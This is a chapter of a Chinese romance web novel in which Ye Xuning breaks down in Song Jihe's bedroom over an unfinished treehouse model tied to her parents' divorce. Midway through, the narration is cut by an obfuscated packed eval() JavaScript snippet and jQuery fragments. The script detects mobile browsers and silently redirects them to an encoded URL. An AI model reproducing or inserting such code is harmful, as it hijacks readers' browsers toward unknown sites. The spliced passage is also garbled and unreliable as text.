给叶煦宁准备的洗漱用品都被阿姨放在卧室自带的浴室里。她的漱口杯和牙刷都是白色,旁边黑色的是宋霁和用的。
该说不说,摆在一起还真有点情侣款的意思。
浴室的磨砂玻璃门透出暖黄色的灯光,淅淅沥沥的水声响起,朦胧传入耳中,在静谧的卧室里如同一只无形的手,攫取宋霁和全部的注意力。
几秒后,他离开卧室,在楼梯口被坐在客厅看电视的舒韵叫住。
舒韵:“小和?怎么出来了。”
宋霁和缓步下楼,语气平静:“接水。”
“哎呀,我都忘了。”舒韵一拍脑袋,起身走到水吧台,从柜子里拿出两个米白色杯子,“这专门给你俩买的。”
宋霁和没动,往柜子里瞥了眼:“我原来的杯子呢?”
舒韵:“我前几天拿东西的时候不小心碰到给摔了,就买了新的给你和小宁用。”
宋霁和没怎么信这番说辞,但的确没看到自己的旧杯子。为了避免舒韵怀疑,他还是接过了明显是情侣款的两个马克杯。上面都印着小狗图案,一只手中拿着花,一只头顶冒着爱心,刚好连在一起。
宋霁和扯了扯唇,扭开水龙头,低头清洗杯子。
舒韵靠在吧台边看着儿子:“小宁是在洗澡吗?厨房有牛奶,要不要热一杯?”
没说两杯,是因为宋霁和从小就讨厌喝牛奶,嫌弃有怪味。
水珠从杯壁滑落,又被纸巾擦掉,他按下出温水的按钮:“可以,等会我去。”
叶煦宁在家里的冰箱囤了许多酸奶,尤其喜欢吃早餐时或是晚上饭后喝一杯,偶尔也会换成牛奶。
舒韵又叮嘱道:“晚上睡觉觉得热的话,空调别开太低也别开太久,免得感冒了。”
“知道了。”宋霁和无奈,“我又不是小孩子。”
舒韵轻哼:“我关心的是小宁,不是你。”
“您说得对,我先去厨房了。”宋霁和正欲离开,又被喊停。
“你俩今晚……算了,注意点啊,负责任懂不懂……空调遥控器在床头柜那。”
这话说得莫名其妙又吞吞吐吐,宋霁和没听懂却也不大在意,敷衍地答应了个“好”字。
回来时,叶煦宁还在浴室里,吹风机呼呼响着。宋霁和将杯子都放在床头柜上,顺手拉开抽屉,想先把空调遥控器拿出来。
目光落在粉色的方形盒子以及上面知名品牌标志的下一秒,宋霁和猛地将抽屉关上,撞击声过分明显,有如他急速加快的心跳。
浴室里吹风机的声音十分不巧地停下,宋霁和拧着眉,立刻又打开抽屉取走盒子,塞进衣柜中的收纳盒里,用衣服挡住。
柜门关上的刹那,叶煦宁抱着衣服走出了浴室。宋霁和已经控制好表情,转身看向她,淡定得跟什么都没发生一样:“洗完了?”
女孩发尾还有些湿,黏在短袖处晕开丝丝缕缕的水痕,睡裙堪堪遮住膝盖,裸露在外的肌肤白里透红。她点点头,把怀中的衣服抱紧了些:“你去洗吧,我要把换下来的衣服扔洗衣机去。”
“嗯,洗衣房在一楼,有事问阿姨就行。”宋霁和说完,径直绕过人往浴室走去。
叶煦宁都还没来得及应答,“咔哒”一声轻响,浴室门就被关上了。
有这么着急洗澡吗,难道是她动作太拖沓了?
宋霁和一进浴室,瞬间被潮湿温热的水汽和清香包裹,侵入五脏六腑,避无可避。花洒下的地砖湿漉漉,玻璃门还滴着残留的水珠,架子上挂着被用过的浴巾。
镜面蒙着薄薄的水雾,隐约映照出一双黑沉的眼眸。扣子一粒一粒解开,衬衫和西裤扔在洗手台边。
水流涌出,顺着短发淌过宽阔的肩背和劲瘦的腰身,没入若隐若现的人鱼线往下。
……
叶煦宁将脏衣服放进洗衣机后,又被迫和舒韵聊了会天才回到房间。
这下她才有空认真地打量这里的布置,是和在云澜庭的卧室差不多的冷色调极简风,利落简洁的同时也没什么生气。再加上宋霁和很少在这住,看起来跟个样板间差不多。
走到靠墙的巨大木柜前时,叶煦宁惊讶地发出一声感叹。一排排摆放整齐、形形色色的积木映入眼帘,每层前前后后都满满当当。
就像宋霁和说的,大部分都留在了云澜庭这边。
毕竟不是她的房间,叶煦宁没有打开柜门,只是隔着玻璃挨个看过去,一边开始回忆。
小时候她不想写作业也不想画画的时候,就会拼宋霁和的积木来打发时间,偶尔两人也会一起。
可惜的是毕竟过去太久,轮船、飞机、城堡等等,她都没什么清晰的印象了,勉强能记起一两个是她拼过的。
看见第三层中间那唯一一个没拼完的模型时,叶煦宁有些迷惑。粗壮的棕色树根已经成型,平台上空空荡荡,只立着两块疑似墙面的部分。
是树屋吗?没拼完却还是摆在柜子里,实在格格不入。
宋霁和走出浴室时,抬眸便望见她抱臂站在木柜前,浅绿色睡裙包裹着纤瘦的身形。
叶煦宁也转头看他,自然地招了招手让他过来,好奇道:“宋霁和,你这柜子里怎么放了个没拼完的积木?”
宋霁和朝她走去,没有回答而是先反问道:“你不记得了吗?”
叶煦宁茫然地摇头,脑海中有什么一闪而过,却没能抓住。
见到这样的反应后,宋霁和神色依旧平静,只是开口前停顿了一下:“初三的暑假,你说这个树屋很好看,官方卖完了,但是我有。”
“你在我这只拼完一小部分就回家了,后来……”
未尽的话语化作锐利的灯光刺入眼中,叶煦宁浑身僵住,瞳孔不受控制地收缩,脸上血色迅速褪去。
“叶煦宁?”宋霁和见她神色不对,眉眼一凛。
下一秒,宋霁和眼疾手快地接住了突然向他怀里扑来的人,肌肉立刻绷起的同时,手臂被紧紧抓住,温热的吐息埋在肩头,似羽毛挠过心尖。
“你……”
“我忘了!对不起!我……”
女孩骤然爆发的哭腔将他的话堵了回去,最后的字眼也被呜咽声掩下,变成颤抖的肩膀和越收越紧的指尖。
她哭了。
吃惊,疑惑统统抛在脑后,宋霁和支撑着女孩倚靠的重量,仿佛怀抱着易碎的琉璃。
他从未安慰过人,只能用扶在肩侧的手轻拍着,放柔了声音生疏地安抚:“没事,没事。”
点点湿意渗入布料,她的眼泪太过灼人,烫得呼吸都沉了几分。
断断续续的哭泣声持续了一会,宋霁和始终保持着这样的姿势,垂眸只能看见女孩毛绒绒的发顶,和一直没放开他的手。
“对不起……我在房间里躲着,我准备的蛋糕,他们为什么……”
哽咽、破碎,又不成句。
可敏锐如宋霁和,立刻猜到了她反应激烈的原因,果断开口阻止:“没事,不要去想,都过去了。”
扶在肩侧的手迟疑几许后落在后背,重复着轻拍安抚。
不知过去多久,叶煦宁渐渐平静下来,抓着身前人的力度减弱了些。
待她能站稳后,两人稍微拉开了距离,她眼中还盈着泪,眼眶通红,唇瓣被牙齿咬出浅浅的痕迹。
宋霁和呼吸一滞,下意识想帮她擦去眼泪,又克制住动作。
“对不起。”叶煦宁的声音还有些哑,秀气的眉毛蹙起,皱着鼻子努力控制情绪,“我,我不怎么记得了,我不是故意的。”
叶煦宁向来开朗又乐观,宋霁和从未见过她这副模样。
此刻他心中生出迟来的懊悔,不该提起的——当初叶煦宁中午就回家了,因为那天是她“父亲”周明岸的生日,走之前她还说给爸爸准备了惊喜。
也就是那天,周明岸出轨被抓现行,叶蓁当即提出了离婚。
宋霁和意外得知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153786|163440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这件事已经是一周以后,他偷听到了母亲的电话。而那时,母亲正陪着他在外地的医院接受专家的诊治。等回到华川时,叶蓁马上就要带着叶煦宁出国了。
母亲只告诉他,叶煦宁不肯见人。宋霁和便没有去找她,只想着等出发那天跟母亲一起去机场送行。
可这个没有对叶煦宁作出的约定,他失言了,因为突发的病毒感染。
他们没能再见一面。此后,一别十年。
宋霁和没想到,只是提起那天,甚至是无关的回忆,就会刺激到叶煦宁。只言片语拼凑不出,直觉告诉他,当时一定发生了非常严重的事。
哪怕初到维卡,聊过几次电话时,她的语气依旧轻松,宋霁和并未听出不对劲。
同样,现在也不是探究的时间。
眼前,叶煦宁似乎还想说些什么,双唇张合,却没能发出声音,依旧微微仰着头看他,抓住他的手没有松开。
苍白的脸颊上挂着未消的泪痕,像是流进他的心底,激起涟漪。宋霁和犹豫片刻,试探性地抽出一只手,微凉的指腹覆在眼下。
长长的眼睫轻颤,犹如落水的蝴蝶。宋霁和用轻柔的、生怕惊扰的力度拂去她的泪花,神色专注。
他模仿着温柔的语调哄她:“没关系。回来就好,不是么。”
叶煦宁迟钝地点点头,吸了吸鼻子,松开抓着他的手,胡乱擦掉了另一边的眼泪
须臾,她闷闷开口:“谢谢,还有,对不起,把你肩膀哭湿了。”
右肩一小块布料比周围颜色更深,宋霁和并不在意:“换一件就行。”比起这个,他更关注叶煦宁的状态。
几个深呼吸后,叶煦宁慢吞吞转头看向柜子里残缺的树屋。
良久,她说:“我想把它拼完,可以吗?”
宋霁和一顿,在她氤氲水汽的眸中捕捉到几缕令人心惊的碎光。
他缓缓牵起唇:“好,盒子和零件我还有留着。”
“那我们明天把它们一起带回家。”仿佛浇了水又晒到太阳而恢复生机的花朵,叶煦宁轻轻笑起来。
沉重的氛围慢慢散去,她抬起手触碰着玻璃:“过去那么多年了,还能拼上吗?”
下一刻,她回答了自己:“……嗯,不试试怎么知道。”
宋霁和静静地看着她,没有说话。
一天的疲惫加上暴雨影响,叶煦宁十点过就犯困,喝完牛奶便爬上了床。床很软,被子盖着也很舒服,有点像靠在宋霁和肩膀上的感觉。
她刚躺下,卧室的主灯便被熄灭,只留下另一侧的床头灯。
叶煦宁又往自己这边缩了缩,眨着眼:“晚安,我先睡了。”
“晚安。”宋霁和回道。
叶煦宁说完便转过身子背对着他,严实地埋在被子里,只露出脑袋。
床中央这回没有枕头挡着,只有他们心照不宣的界限。
宋霁和在椅子上坐着,手机屏幕照亮他的面庞,内容却完全没看进去。
过了一会,叶煦宁的呼吸声逐渐平稳,应该是睡着了。
宋霁和放轻脚步走来,关掉灯后慢慢坐上床,侧头看向睡梦中转过身又面对着他的人。
离得近了,她的气息更加明显。是和自己身上一模一样的沐浴露味道,又掺了些别的,好闻的清香。床品是全新的,却已沾染上她的温度。
这时,叶煦宁睡颜恬静,已经没什么明显哭过的迹象,左手放在被子下,右手探出来压住被子边沿,脸颊抵在揪出的一角上。
自从上次在洛提亚意外同床后,宋霁和就发现叶煦宁大概是习惯性抱着东西睡觉,在家有玩偶和抱枕,而在洛提亚时都没有,所以才会抱住他的胳膊。
宋霁和躺下,没有背对着叶煦宁,而是选择了平躺。
卧室的床虽大,但也没酒店的那么夸张。叶煦宁翻身后已经有些靠近交界线,宋霁和的右臂自然地平放在身侧。
这次没关系,他想。